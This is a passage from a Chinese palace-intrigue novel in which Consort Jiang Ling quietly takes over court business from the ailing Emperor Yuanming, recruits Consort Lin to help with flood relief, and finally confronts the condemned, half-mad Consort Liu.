郑相郭相孙相赶忙应是退出,急急去处理了。丁尚坐在一旁见识过了江舲的手腕,神情愈发小心翼翼,双手呈上审问杨应赖三陈福顺的口供,恭敬无比地道:“娘娘,杨应赖三陈福顺几人的口供皆在此,刑部大理寺老贤亲王卫大学士都画了押作证。” 江舲拿起口供翻看,几人的口供有所出入,都竭力掩藏自己的罪行。只口供皆指向了一人,那便是柳贤妃。 丁尚难掩忧心,道:“娘娘,卫大学士与老贤亲王去见皇上了,娘娘可要去瞧瞧?” 江舲抬眼看向丁尚,随手合上了文书,“我不做亏心事,不怕他们在皇上面前说道。” 她确实不怕,元明帝以前可能还有几分聪明。自从受伤之后,他已经变得易惊,惧怕麻烦,自负,迟钝。 老贤亲王与卫大学士对她的指责,不外乎后宫嫔妃干政一类的说辞。元明帝会听得不耐烦,且他认为她没那本事,干不了政。 “娘娘,那杨应他们几人……” 丁尚首先是想要问江舲如何处置,他反应过来,忙改口道:“臣以为,杨应赖三陈福顺几人既然招供,罪不可恕,当按照规矩处置。” 江舲想起陈福顺,沉吟之后道:“是该按照规矩处置。陈福顺赖三告发有功,他们均非首恶,罪加一等。且赖三已经受刑,当予以减出。” 丁尚一愣,忙应是,“臣这就去。” 江舲叹息一声,解释道:“佛说众生平等,万物皆有灵,蝼蚁的命也是命。” 丁尚喉咙一紧,久违地想到了自己的出身。他生于贫寒,走投无路去从军,后来混入禁卫做小兵,一步步升到皇城使。 他与陈福顺赖三看似有区别,其实又并无不同。他的手上同样沾着血腥人命,手握重权,又可能一朝跌落,万复不劫。 江舲看着时辰,前去偏屋。守在门口的阿箬忙迎了上来。江舲见她气鼓鼓地模样,笑着问道:“受气了?” 阿箬忍无可忍,道:“娘娘,大公主隔一会就叫奴婢进去,让奴婢来催娘娘。奴婢说娘娘有要紧事,让大公主等一等,大公主便发脾气,骂奴婢故意搪塞,奴婢狗眼看人低,奴大欺主,奴婢仗势欺人,奴婢是贱婢。” 江舲拍拍阿箬的手臂以示安慰,说笑道:“骂人不重样,嘴皮子还挺利索,去去市坊一战。” 阿箬不由得转怒为笑,道:“娘娘,奴婢先进去收拾一下,里面的杯盘茶水都洒了一地。” 江舲摇头,“无妨。”说话中,踏进了屋。 如阿箬所言那般,屋中杯盘狼藉,矮案被掀翻,茶水流淌,点心碎渣踩了一屋。 萧迦桐脸色惨白,如困兽那样在屋内低头奔走。她听到动静一个急转身,见江舲进来,双眼猛然睁大,一下扑了上前。 阿箬眼疾手快挡在了江舲前面,抓住萧迦桐的胳膊,厉声道:“大公主不得无礼!” 萧迦桐身形瘦弱,她不是阿箬的对手,一下挣脱不开,急得尖叫道:“让开,我要见娘娘。” “你要见我,我已经在你面前。”江舲看萧迦桐精神似乎不大正常,皱了皱眉,道:“阿箬放开她。” 阿箬小心翼翼松开手,仍然警惕地盯住她不放。萧迦桐挥舞着手臂,焦急难安地转动一圈,“娘娘,贤妃要杀我,贤妃要杀我,娘娘,你要救我的命,娘娘救命啊!” 江舲打量着萧迦桐,轻声安抚她道:“贤妃娘娘不在这里,你没事了。” 萧迦桐愣了愣,仿佛喘不过气,抓住衣襟又松开。手指指甲被咬得光秃秃,血迹班班。她烦躁不已,似乎在问江舲,又似乎在自言自语,“娘娘,我该怎么办呢?我活着又能怎么办呢?娘娘,我不如让贤妃娘娘杀了吧,死了就一了百了。活着好辛苦,黑夜白天都辛苦,以后的日子,我该怎么办,我该做什么呢?” 对着萧迦桐的胡言乱语,阿箬听得一头雾水,江舲却听明白了。 她自由读史,读圣贤书,学的是治国平天下。她不会当公主,不会甘于平凡。从希冀憧憬中回到现实,她已经彻底迷失混乱。 江舲不是神,亦不是医。对着萧迦桐的问题,她也没有答案。 “你究竟想做甚,你回去好生想一想,仔细想一想。只要我能做到,我尽量帮你。” 萧迦桐怔怔立在那里,喃喃自语道:“我想作甚,我能作甚?我是大公主,就只能招驸马,生儿育女。” “大公主也不一定只能招驸马,还有很多事可以做,例如行善积德,抚养孤儿,救助老弱妇孺。圣人言老吾老以及人之老,幼吾幼以及人之幼。圣人书上并非皆是治国之道,处处是做人的道理。做人的道理都没学明白,何来的治国平天下?” 江舲见萧迦桐放松了些,再肯定地道:“你放心,贤妃娘娘杀不了你,你也别吵别闹,先吃饱了好生睡一觉,醒来之后再想。” 这时,黄粱到了门外,江舲见他神色焦急,对似乎还有话说的萧迦桐道:“阿箬,送大公主回去。” 江舲走出屋,问道:“何事?” 黄粱眼珠朝四周转了转,压低声音道:“娘娘,老贤亲王与卫大学士离开了,皇上让娘娘赶紧回去。皇上心情很不好,娘娘要小心。” 第123章 卧房内凉意阵阵, 冷香萦绕。 元明帝靠在床头,硕大的身躯堆在宽敞的龙床上,浮肿的眼皮与白得泛青的脸, 阴霾密布。她一进卧房,他就抓起奏折扔了过来。 “慧淑妃, 好你个慧淑妃!朕宠着你,护着你, 给你荣华富贵, 你却不满意,想要朕的龙椅江山!” 元明帝咆哮着, 脸一下紫胀,被背叛, 举目无亲的恐惧, 令他止不住簌簌发抖。 江舲心里大致已经有数,朝中因为赵侍郎他们争论不断,贤亲王与卫大学士在元明帝面前告她的状。贤亲王是宗正卿, 又是萧氏皇族, 绝不会站在她这一边。卫大学士身为老学究, 向来遵从礼制规矩。 元明帝本身就摇摆不定, 极为容易受到蛊惑。对于他们的举动, 江舲虽不赞同, 却并不生气。 如往常那样,江舲使出屡试不爽招式中的第一招, 先安慰元明帝, “皇上,无论如何,以龙体要紧, 动怒伤身,皇上先缓口气。” 元明帝听到自己的身体,从鼻孔中喷出一声,脸色顷刻间缓和了不少。 江舲见奏效,弯腰捡起奏折扫了一眼,是参奏她干政的折子。她只看了一本,把其他几本顺手捡起来,放在装奏折的匣子中。 “皇上,是贤亲王还是卫大学士在背后说我的坏话?” 元明帝见江舲不当做一回事,缓下一半的气又提了上来,恼怒地指着她,“你管是谁说了你的坏话,难道他们冤枉了你不成!你私自传召政事堂,户部吏部,吏部王正山不服你,连朝都不上了!” “他们当然是在说我的坏话。这些奏折……”江舲靠在匣子边,捡起来随手垫了垫,啧啧摇头。 “一天能随手写一千本,言之无物,浪费笔墨纸砚。贤亲王与卫大学士他们称我是干政,我私自传召政事堂。我在皇上眼皮子底下,日夜与皇上都在一处。传召政事堂户部吏部,皇上都知道,他们的本意,是在骂皇上糊涂了。” 休养几月,元明帝腿好了些,已经能下床慢慢挪动着走几步,不过走动时总是心惊胆战,腿也受不了力,生怕再受伤,依旧躺着不动。就这么睁眼闭眼间,一天就飞快过去了。 元明帝脑子有些晕,江舲似乎与他提过此事,他一时也记不清了。贤亲王与卫大学士两人的肺腑之言在耳边响起,他脸色又变了,气道:“他们敢!朕灭了他们九族!你少狡辩,这些时日,你一天到晚都不见人影,先前你去了何处?” 江舲在锦凳上坐下,平静地道:“皇上莫急,我一件件与皇上细说。” 元明帝板着脸,斜乜着江舲,“你休想糊弄朕。” 江舲对元明帝的心思摸得一清二楚,他疑神疑鬼,脑袋心底都空荡荡,怕麻烦,盼着身底下的龙椅稳稳当当,他能做太平九五之尊。 “皇上,王尚书称病不上朝,他是心虚。” 江舲结论在前,元明帝愣在那里,她不容他乱喷,抢先道:“这件事是因为赵侍郎他们而起,我先前与皇上说过,赵侍郎他们冤枉我,我总要洗清冤屈,让人去查找赵侍郎他们的履历。户部吏部都有,查出来赵侍郎考评为假,却升了官,做到了朝廷中枢的重臣。赵侍郎当年升官时,王尚书当年还是吏部的侍郎,此事与他无甚干系,王尚书怕查其他人,他难辞其咎。吏部可是炙手可热的衙门,科举之年新科进士等着派官,吏部与官员府中大门门槛都要被踏破了。” 元明帝对吏部的事有所耳闻,他为了朝局稳定,只当作不知。见江舲挑了起来,马上沉声道:“此事重大,你别轻举妄动!” “我不轻举妄动。” 江舲肯定地回答,待元明帝舒了口气,她继续道:“我从没有针对谁,更不会针对王尚书。唉,可惜王尚书虽身为读书人,读书人的风骨,估计他早就忘了。做了亏心事,还故意借口不上朝,威逼皇上。” 元明帝斜撇着江舲,她笑起来,道:“皇上,国有国法,家有家规,王尚书既然身子骨不好,不如让他致仕回府休养。天下英才不知凡几,我听说京城还有好些人在候官,流水不腐,王尚书做了好几年的尚书,也该挪一挪,让水流动起来。” 江舲使出了第二招,她不给元明帝否定的机会,道:“朝中的官员我都不熟,皇上觉着,谁可以理吏部?要不从国子监选人如何?国子监太学教书育人,他们尚留有几分风骨。” 元明帝本不同意,不知不觉顺着江舲的话想了下去,下意识盘点着国子监太学的官员,他想了想,道:“国子监祭酒蒋贡学识渊博,治学严谨,主政过地方,他勉强堪用。不过,不得轻率决断,以稳定为首要。” 江舲听到蒋贡,心里就忍不住暗喜。她在选萧允瓒萧允琅的先生时,看过蒋贡的文章。她读不懂文章好坏,但她喜欢他文章朴实,难得一见有具体实事,而非惯常的评议文章。 蒋贡是难得务实的官员,江舲不管他的派系,至少能做实事,这样的官员在朝中越多越好。 不动声色让元明帝考虑更换吏部尚书,江舲又转开了话题,道:“杨应他们几人的口供,皇上应当见过了。贤亲王他们估计又怪罪到了我头上,一切都是因我而起,皇上,可是这样?” 卫大学士倒不曾这般说,贤亲王确实话里话外都暗指江舲,称她在前朝后宫都兴风作浪。 元明帝对此倒头脑清明,无论如何都怪不到江舲身上。刑部大理寺连着贤亲王一并画押,白纸黑字,怪江舲未免太牵强了些。 “果然被我料到了。看在贤亲王是长辈,老糊涂了的份上,我就不计较了。” 江舲大度地揭了过去,元明帝不禁暗中松了口气。要是她不依,贤亲王的老脸都要被她拔下来。 “皇上打算如何处理?”江舲看元明帝耷拉着眼皮,一脸的深思,试探着问道:“贤亲王可是有想法?” 元明帝叹了声,道:“柳氏的罪行已辩无可辩,万死不足惜。贤亲王说是后宫事出频繁,如今不宜大张旗鼓处置。卫大学士也这般以为,当年柳侍郎在读书人心中声望颇高,柳侍郎为官为人都端正,阿爹对柳侍郎很是推崇。当年朕还年轻时,柳侍郎指导过朕的大字,算得上朕的一字之师。朕最近卧床休养,时常思及阿爹。柳贤妃……” 他宁眉沉吟半晌,最终拿定了主意:“过两日,待朝堂上风声小一些。让黄粱前去赐她个全尸。就说是因病去了。” 江舲听他说了这般长一通,以为他会将柳贤妃贬到皇庙去。没曾想,他还是要柳贤妃的命。 无情最是帝王情,江舲说不出心里是高兴还是悲哀,她也无暇分辨,起身走到匣子边一阵翻找,道:“皇上,我先前看到了折子,梧州府发生了洪涝灾害,这如何得了,百姓又难过了。” 元明帝一听就头晕,他抬手揉着脸,心情低落道:“各州府报灾的折子不断,水灾旱灾虫灾雪灾,就没个消停的时候。” 大胤虽没有打仗,封建农业时候,种庄稼都靠天吃饭。天灾无法抵挡,朝廷捉襟见肘,太平年间都是拆东墙补东墙。 江舲深知朝廷现状,理解元明帝的烦躁,她捧起捧起匣子走过去,“我替皇上把抱灾的折子都选出来。” 元明帝一看就赶紧道:“拿走拿走,朕哪有心思批阅!” “皇上,那该怎么办?” 江舲瞪大眼睛扮无助,开始使出第三式,道:“要不,我交给政事堂郑相他们去办。食君之禄,忠君之事,这些本是他们的差使,他们应当替皇上分忧解难。” 元明帝连忙道:“所言甚是,把差使交给郑相他们去办,朕要安心养身子,不得烦扰。” 江舲应是,捧着匣子屈膝见礼,“皇上,时辰不早,我去替皇上传膳。皇上用膳之后好生午歇。” 元明帝摆手,“去吧去吧,天气炎热,让御膳房做些冷淘呈上。” 江舲捧着匣子走出屋,黄粱一脸紧张迎上来,见她安然无恙,心落回了肚子中。 “娘娘,匣子重,奴婢替娘娘捧着。”黄粱脸上堆满笑,伸手去接匣子。 “无妨,我自己捧着,皇上有事交给你。” 江舲将元明帝对柳贤妃的处置说了,“你去把人都换了,派可靠的宫女内侍去看着。皇上午间要用冷淘。” 黄粱神色怔怔,好一阵才回过神,暗自骂了句自己老糊涂了。 柳贤妃区区后妃,早已失势,悄无声息病亡,连涟漪都不会起。 黄粱先叫来内侍传膳,“皇上喜食甜,多加些蜂蜜。”叮嘱完内侍,他才去挑人前往柔仪宫。 江舲回到她的书房开始翻阅奏折,按照重要紧急分门别类好,传了政事堂姜尚书他们前来,一起商议处置。 天色渐晚,郑相他们告退。江舲则带着一堆文书账目卷宗回书房。 望着堆满的书案,这些只是一小部分而已。要处理完,她就是如蜈蚣一样全身上下长满手,也要累得半死不活。 前朝的事情繁多,下午时江舲与郑相他们忙了一下午,基本上是在当先生,手把手教导他们如何做,进度缓慢。 文涓她们不行,抄写文书一类的差事还能勉强胜任,涉及到朝纲赋税等她们就束手无策了。 若在闲暇时,江舲还可以教她们,现在她分身乏术,着实没有功夫。 江舲还要应付元明帝,必须要有帮手。 思索片刻,江舲深深呼出一口气,很快拿定了主意,对文涓道:“你去请林贵妃来一趟。” 林贵妃很快跟着文涓来了,笑道:“宫女出宫的事都顺当,慧淑妃尽管放心。” 江舲点点头,示意林贵妃坐,拿起一本折子放在她面前,微微笑着道:“娘娘,你瞧,这是什么?” 林贵妃目不转睛盯着折子,神色渐渐激动起来。蓦地抬眼,直直盯着江舲,“这是折子!” 江舲笑着说是,声音平静,却带着让林贵妃心都快跳出胸脯的蛊惑,“娘娘可想打开瞧瞧?” 林贵妃的手,毫不犹豫伸向了折子,她极力克制,呼吸仍然控制不住变得急促。 这是折子,她看过折子,并无甚稀奇之处。 这又不是折子,这是天下,是朝政大权! 是她在后宫倾轧,从未真正触及到,真正的权势! 第124章 夕阳如血, 窗棂一片通红。 林贵妃的侧脸亦红彤彤,她微敛眼睑,缓缓收回了手。 “慧淑妃让我做这些, 肯定经过了深思熟虑。并非我看低慧淑妃,令尊令兄皆资质寻常, 薛老夫人淘夫人只堪为后宅妇人。若非慧淑妃替他们寻了可靠的师爷,选了以前高才人身边伺候的宫女相帮, 江氏如赵氏一样, 成不了慧淑妃的助力,反倒会成为拖累。” 江舲扬了扬眉, 没有做声。 林贵妃视线扫过书案上堆成山的册子,继续道:“朝堂上局势不明, 你要面对狡猾的朝臣, 还要应付皇上。你孤掌难鸣,必须寻找帮手。赵德妃不行,她还在惦记着她那早该死的蠢货儿子, 妄图有朝一日翻身。” 说到这里, 林贵妃神色黯淡了瞬。江舲沉吟了下, 问道:“你呢?” 苦涩爬上林贵妃的嘴角, 不过, 转瞬间就消失了。她神色平静, 坦然地道:“白日还好,夜里总是会莫名其妙醒来, 难受得再也无法安睡。其实, 迄今为止,我也不知何处出了差错。” “你可知道?”林贵妃看向江舲,茫然问道。 “我知晓一些, 你姑且听一听。我以为,抚养孩子是场赌注。养大不易,养好更不易。” 江舲笑了起来,她摇摇头,“说复杂也复杂,说容易也容易。书上那些道理,学进去几样已经足够。老吾老以及人之老,幼吾幼以及人之幼。己所不欲勿施于人。穷则独善其身,达则兼济天下。亲亲而仁民,仁民而爱物。君子之于禽兽也,见其生,不忍见其死。” 林贵妃神色怔怔,眼眶缓缓蓄满了泪。她抬手抹去,深吸一口气,道:“是我没教好他。我读了那么多书,只读了表面,言行不一。他杀猫狗取乐,非君子行径,与禽兽无异。” 江舲道:“禽兽亦有护犊之心。” 林贵妃一顿,她舒出口气,道:“是啊。君子之于物也,爱之而弗仁;于民也,仁之而弗亲。我会照拂林氏,亦会约束着他们,慧淑妃尽管放心。” 江舲又笑了,林贵妃极为聪慧,一点即通。 “亲亲而仁民”,前一句便是“君子之于物也”。“爱有差等,推己及人”,先爱身边的亲人,再推及他人,万物。 江舲以为,人皆有私心。她也一样,肯定先会护着江氏。要是林贵妃不顾林氏亲族,她更不会在意天下苍生万物。 这也是江舲一直坚持之事,做一个人。莫要夸夸其谈,将家国天下随时提到嘴边,血却冰冷,连禽兽都不如。 林贵妃用这一句来回应,坦率而真诚。 江舲当然有顾忌,林贵妃身后有林氏一族,以她的聪慧,江舲不敢以为,能全然驾驭掌控。 坏人与蠢货,江舲更愿意面对坏人。坏人的行为举止可预料,蠢人却不一定,让人防不胜防。 要是林贵妃能言行合一,江舲即便输了,她也无憾,不悔。 “这是梧州府抱灾的折子。” 江舲不再多言,取出折子递给林贵妃,讲了她的处理方式。 林贵妃频频点头,“我明白了,你想要赈济落到实处,一切有据可证,理清实际的损失,便于灾后的治理。政事堂户部他们理出了舆图,户簿,我先核计一下,” 江舲满面笑容,林贵妃一点即通,与聪明人打交道就是痛快。 两人忙了一会,文涓轻手轻脚上前提醒:“娘娘,到用晚膳的时辰了。” 江舲放下卷宗,对林贵妃道:“你是要回宫去,还是要继续忙碌?” “我过一阵再回去。”林贵妃毫不犹豫回答,对文涓客气地道:“劳烦给我一些清淡可口的吃食。” 江舲道好,吩咐文涓道:“你去御膳房取些清淡吃食,跪爹娘娘畏寒,屋中的冰少加些。” 林贵妃自嘲一笑,道:“你的差使也不好做,至少我做不到。” 江舲笑而不语,元明帝虽令人厌恶,他对她勉强称得上慈悲。元明帝身上的缺点与恶,在后世男人身上也司空寻常。何况他是天子,江舲应付他,比应付其他人要容易。 林贵妃不远多提元明帝,她似乎想起什么,问道:“她怎样了?” 江舲知她在问柳贤妃,将元明帝对他的处置说了,“就这几日吧。” 林贵妃哦了声,她只是随口一问,并不放在心上,坐回书案前继续忙碌。 江舲诧异了下,随即笑了。 她们的人生之路已经全然不同,柳贤妃已经彻底过去,已激不起任何的涟漪。 江舲回到卧房,元明帝在考教萧允瓒萧允琅的功课,他板着脸,神色严厉,鸡蛋里挑着骨头,把两人训得低头耷脑。 两人看到江舲进屋,顿时如释重负。萧允瓒偷偷朝江舲做鬼脸,萧允琅则掰起指头数数。 “用膳吧。”江舲暗自瞪了眼萧允瓒,抚摸着萧允琅头上歪掉的垂髫,“快去净手,自行用膳吧,别来吵到你们阿爹。” 萧云琅咧着嘴,他才数到三,果然就得到了解救。萧允瓒动作快,已经转身朝外跑,他赶紧追上,两人脚底抹油溜之大吉。 “就你宠着他们。”元明帝不悦地哼了声,把两人的大字拍得啪啪响,“两小子淘气得很,不严厉教导,以后哪成得了器。大胤的江山要是败在他们手上,朕何来的脸去见萧氏列祖列宗。” 两人的大字只能算是写得端正,江舲对他们的功课要求,主要在算学,常识,以及逻辑方面的训练。 江舲敷衍附和了两句,元明帝撑着下床坐在了椅子里,黄粱领着内侍摆好膳食。他拿着筷子吃了两口,问道:“朕听阿瓒说,林贵妃来了,她来作甚?” “贵妃娘娘能干,我有些事请她帮忙处理。”江舲含混着说道。 元明帝嗤了声,道:“她哪算得上能干,连个儿子都教养不好!” 嫌弃完林贵妃,元明帝问起了救灾之事,“你可交给了政事堂?” 江舲道是,“可能还要工部一起,修缮河道,趁着河水枯期,清理河道堵塞,淤泥。” 元明帝哈哈笑了,指了指江舲,居高临下道:“瞧你,究竟是不懂。你提一句修缮容易,钱粮从何处出,你去问姜尚书,保管他能与你哭上三天三夜。” 河道河工本就属于徭役,丁税革新之后,徭役采用银钱抵消。即便官府收了银钱,照样征召民夫服徭役。最终的结果,则是百姓既出了钱,又要出苦力。 江舲准备取消徭役税,将这一部分的权力,放到当地的乡贤身上。当地的乡贤,对河道河工,以及筑路修桥,远比当地的官员要重视。 这些并非江舲的异想天开,而是由常平仓得到的启发。 常平仓的粮食用来平稳粮价,赈济灾害。出发点甚好,结果却不尽如人意。 最大的硕鼠,乃是皇帝。数度被皇帝挪用,挥霍一空。 后来,江南地区用乡贤征收,当地乡贤互保。虽然里面也有很多问题,至少需要时,仓库有粮食拿出来。 赋税是大事,江舲当前顾及不上。她说到工部,与提到林贵妃在办差是一样的道理,只是让元明帝听到有工部,免得他到时候发疯,指责她先斩后奏。 用完膳,陪着元明帝吃茶说话。黄粱与内侍搀扶着他在屋内走动,他刚走了几步,虚汗打湿了衣裳,便不肯再走了,“朕累了,送水来伺候朕洗漱。” 一通忙碌之后,元明帝终于躺在了龙床上。江舲能歇一口气,赶紧前去书房。 林贵妃俯身书案前,神色专注,一手翻着户簿,一手奋笔疾书。她侧首看向江舲,颔首见礼,动了动左手胳膊,道:“这只手受不得力,过一阵就会酸痛。” 上次林贵妃伤得重,估计留下了旧疾。江舲想到叫哭天喊地的元明帝,不由得笑道:“娘娘还是多歇歇,学着皇上,别累着了。” 林贵妃神色嘲讽,道:“慧淑妃别骂人,要学,也要学好。” 江舲听得乐不可支,林贵妃也笑,拿起写好的文书递给她,“慧淑妃瞧瞧可对?” 江舲接过认真看起来,林贵妃的字迹工整,数据记录详实。她由衷夸赞道:“娘娘厉害,比起政事堂户部都做得好。” “自小学习掌管中馈,柴米油盐酱醋茶,细到一根针,人情往来,生辰忌日,礼仪规矩,习俗禁忌。后宅事务繁琐,哪怕无需自己动手,皆得了然于心。” 林贵妃神色怅然,道:“当年阿娘教我时,我还不耐烦。没想到,最终派上了大用场。” 江舲道:“读书写文章,也不过如此。” 林贵妃昂起下巴,一脸地理所当然:“那可不是。” 两人又一起笑,直忙到夜深。江舲举起双臂活动着身子,道:“今晚先到这里。早间我寅末起身,你用完早膳后来,不急。” 林贵妃本还想熬一阵,想到江舲起得早,还要伺候元明帝,便起身告辞。 江舲吩咐文涓阿箬收拾,与林贵妃一道出门,送了她几步,笑着道:“愿你今晚能得安眠。” 林贵妃眼眶一热,她笑容满面,轻点着头,“你也一样。”说罢,挺直背,步伐坚定朝前走去。 盛夏即将过去,夜里无风,沉闷,炎热。 林贵妃江舲都一夜无梦到天明,有人彻夜难眠。 柳贤妃枯坐在书房,望着窗棂渐渐从黑,变成清灰,再转为灰白。 往常这个时候,尚嬷嬷山樱她们早已忙碌,送水送茶,伺候她起身。 如今,伺候的宫女内侍皆已不在,换成了陌生的面孔。 柳贤妃不曾过问他们去了何处,鼻息间,似乎仍有淡淡的血腥气萦绕。 她清楚知道,该轮到她了。她早心知肚明,并不感到害怕。 柳贤妃清了清嗓子,喊道:“去跟江舲说,我要见她!” 第125章 元明帝半夜头疼睡不着, 传太医来施针仍不得缓解,开了安神汤的药汤,服用之后直折腾到天明时分, 终于晕晕乎乎睡了过去。 政事堂户部几人已在客舍等候,林贵妃也一早到来。江舲用凉水洗漱之后, 勉强清醒了几分。她匆忙吃了几口早膳,与林贵妃说了几句, 朝客舍走去。 黄粱追在她的身后, 低声道:“娘娘,柔仪宫那边递消息来, 说柳贤妃想见娘娘。” 江舲笑了声,脚步不停往前走, “她见我作甚, 我没空啊。” “是。”黄粱见江舲确实脱不开身,忙应了是,“奴婢这就去回了。” 江舲没空搭理, 抬腿进了客舍。郑相他们起身见礼, 她颔首回应, “诸位都坐吧, 先将梧州府的灾情处置了。” 有林贵妃帮忙, 江舲对梧州府的情况大致有了数。户部姜尚书熟练地哭穷, 政事堂巧妇难为无米之炊,打着圆场不做主。 江舲对户部情况有所了解, 并未穷到姜尚书所言那般地步, 但绝不宽裕。 梧州府的赈济迫在眉睫,来不及拟定细则,何况, 细则到了梧州,施行起来指不定会走样。远在京城纸上谈兵,会遇到各种各样的困难。 江舲先决定了最基本的方向,那便是赈济。至于如何赈济,州府官员如何操作,以来年的丁户人数见分晓。 拿着户部的账目,与姜尚书来回拉扯,挤出了一部分粮食,用到了梧州府的赈济上。 忙到午后,旨意终于发了下去。郑相忧心忡忡道:“娘娘,这点粮食,无异于杯水车薪啊!” “快秋收了。”江舲苦中作乐地道。 姜尚书愁眉苦脸站在那里,听到江舲的话,一副欲言又止地模样。江舲知道他又要喊穷,秋赋动不得,她赶紧往回走,“时辰不早,你们先去忙吧。皇上龙体不适,我得回去侍疾。” 郑相几人告退,江舲来到书房坐下,连着吃了两盏浓茶,长长舒了口气。 林贵妃端详着江舲的神色,问道:“慧淑妃神色疲倦,可要歇一阵?” 江舲提了元明帝夜里之事,“一直在忙,连午歇都顾不上。今夜早些歇息,睡一觉之后就好了。” 林贵妃放了心,她沉吟之后,直言不讳道:“慧淑妃可有想过,待他身子好起来,开始上朝理政,慧淑妃该如何办?” “想过。”江舲也回答得很直接,随手拿了一本折子,慢慢翻动。 “有些东西沾染上,再也丢不掉。有些东西丢掉了,就再难捡起来。” 林贵妃愣住,江舲不再多解释。她确实想不到万全之法,也做不出杀了元明帝之事。 不过,元明帝的身体逐渐糟糕,江舲都看在了眼里。首先,他卧床不动,养得白胖如快撑开的虚胖馒头。他头疼晕眩,已经发作了好几次。起初轻微,昨日夜里变得严重了起来。 按照江舲的估计,元明帝应该是血管高血压一类的疾病,在大胤无药可医。安神汤以朱砂为主,朱砂有毒,可暂时抑制中枢神经,所以被称作安神汤。 在医疗水平落后的大胤,朱砂是唯一能让元明帝睡一会的东西,江舲心知肚明其危害,可惜别无他法。 事关帝王的生死,兵权在元明帝之手,一不小心,便会尸横遍野。 林贵妃敛眉片刻,亦不敢再多提此事。她笑了起来,轻快地道:“先前我听到黄粱在与阿箬嘀咕,说是柔仪宫那边来了很多次,吵着闹着要见娘娘。” 江舲抬了抬眉,道:“我猜到她作甚,要不说一些无用的废话,要不与我同归于尽。” 林贵妃吃了一惊,道:“到这个时候了,她还不死心?” “尚嬷嬷死了,你可知道此事?”江舲笑着问道。 “我知道,尚嬷嬷录了名,她想要出宫去。我当时还挺惊讶,尚嬷嬷是她贴身伺候的嬷嬷,知晓无数的秘密,如何出得去。” 林贵妃摇摇头,轻轻叹息了一声,“尚嬷嬷也不笨,既是机密之事,为了活命,肯定会烂在心中,半个字都不会吐露。在身边伺候了那么多年,如何下得下去手。唉,到底心狠手辣了些。” 江舲略过了袁长生不提,说了柳贤妃去传萧迦桐前去之事,“大公主是她一手养大,她照样能下手毁掉。那些读书人总说妇人之仁,妇人之仁可不是好话。可惜,要人人都有妇人之仁,天下就真正太平了。” 林贵妃顿了顿,道:“她比你我都要狠,与那些男人一样冷酷无情了。” 江舲笑笑,不再提柳贤妃,说起了朝堂之事。林贵妃很快把柳贤妃抛诸脑后,两人细细商议起来。 太阳渐渐偏西,江舲回卧房看元明帝。他头疼缓解了些,仍然精神恹恹,斜靠在床头养神。 江舲陪着他说起了梧州府之事,他闭目唔了几声,“朕没力气管这些,你交代政事堂户部办了就是。” 条案上堆着两匣子奏折,江舲指了指,道:“皇上,这些折子先放着,待皇上龙体恢复之后再批阅。” 元明帝眼皮都没抬,他喘了口气,皱眉道:“你捡出重要的折子,该政事堂去办的差使,交给政事堂。该六部去办的差使,交给六部。” “是。”江舲轻快地应了,道:“皇上歇一阵,好生养着。” 元明帝斜靠在那里一动不动,只喉咙咕隆了声。江舲使眼神示意文涓上前,抱起匣子来到外间,迅速翻开查看。 黄粱从明间蹑手蹑脚进屋,偷瞄了眼里间卧房,压低声音道:“娘娘,柔仪宫那边一整天滴水未进,一直说要见娘娘。” 江舲顿住,合上了折子,对文涓道:“先收起来,我去走一趟。” 文涓赶忙收起奏折,“奴婢陪着娘娘去。”她不放心,对黄粱道:“黄大伴,娘娘的安危要紧,你差人先去走一趟,要看好了。” 黄粱神色微变,赶忙亲自前往柔仪宫。柳贤妃瘫坐在书房地上,背靠着矮案,衣裳皱成一团,头发散落在脑后,嘴唇干涸渗血。深凹进去的眼眶,迸发出幽幽的光。 她看到黄粱出现在门口,不觉笑了,嘶哑着嗓子道:“她怕我杀了她,派你来布防了?” 黄粱只感到后背发寒,他一言不发朝身后摆摆手,道:“仔细搜。” 两个壮实的嬷嬷进了屋,嘴上恭敬地道着得罪,手上却不客气,把柳贤妃从上到下搜了个遍。书房一应的尖锐危险之物,悉数收了起来。 柳贤妃并不反抗,坐在地上任由她们搜。她面上带着笑,犹如以往与世无争的贤妃娘娘那般,高贵温婉。 江舲走了进来,黄粱赶忙上前,道:“娘娘,天色晚了,屋中有些黑,奴婢提着灯笼在门口守着。” 书房周围立着宫女嬷嬷内侍,阵仗浩大。黄粱手上提着宫灯,他忙前忙后,浑身汗水津津。 江舲脚步微停,微笑道:“黄大伴,你辛苦了。” 黄粱一愣,他赶忙垂下头,道:“不敢瞒娘娘,当年柳侍郎指点皇上的大字时,奴婢有幸得过柳侍郎的指点。奴婢并无他想,只想报答柳侍郎当年的恩情。” 江舲哦了声,“你能知恩图报,很好。不过,柳侍郎是柳侍郎,她是她。” 黄粱头皮发紧,一下连大气都不敢出,江舲让他下去,“不用点灯笼,夜里有月亮。” “是。”黄粱心头微松,忙灭了灯盏,招呼围着的人退到一旁。 弯月紧着西沉的夕阳,晃晃悠悠爬上天际。江舲来到书房门口,站在那里适应了下,抬腿走了进去。 柳贤妃一瞬不瞬直视着江舲,嘲讽地道:“你放心,他们都已经搜过了,我也没有力气杀了你。” 江舲说是,靠在书桌上,俯视着对面的柳贤妃,“我确实不放心你,因为你无情无义,哪怕再亲的人,你都能眼都不眨地利用,让他们去送死。” “是啊,我确实如此。而你呢,你又比我能干净到何处去?” 柳贤妃笑起来,讥讽地道:“你伺候那么一个蠢东西,出卖自己的身子,颜色,来换取宠爱。呵呵,我们谁比谁高贵了?” 江舲认真思索起来,道:“你这是在胡乱类比,我也不想指出你话中的谬误。不过,姑且照着你的话来说,我还是比你高贵。我哪怕是出卖,出卖的是自己,而非他人。” “这是他们欠我的,我找他们还回来而已。袁长生,他一个妓生子,卑贱如蝼蚁。我教他识字,指点他迷津,让他尝到掌大权,踩到他人头上做人上的滋味,让他能看到我,肖想着我。他的人,他的命,都该是我的!萧迦桐,我抚养她长大,教她识字读书,教她除了做公主,还能摄政,掌握天下权。她不成器,没出息,我做坏的剑,我亲手毁掉,那又如何?尚嬷嬷……” 柳贤妃话语一停,似乎对她提都不屑提,轻蔑地笑了声。 江舲无语长叹,道:“他们都是活生生的人命,你真是疯了。” 柳贤妃像是听到了天大的笑话,她哈哈大笑起来,手在地上扣着,指甲划过青石地面,发出赤耳的声音。她一边抠,一边把手指凑在鼻前闻。 江舲静静看着柳贤妃,她已然癫狂。指尖血淋淋,她却仿若未觉,血沾在脸上,在昏暗的书房中,诡异可怖。 柳贤妃似乎笑得停不下来,江舲等了一会,打断她问道:“你找我来,可还有话说?” “我找你来,是要你看着我如何死,以后,这也会是你走的路。” 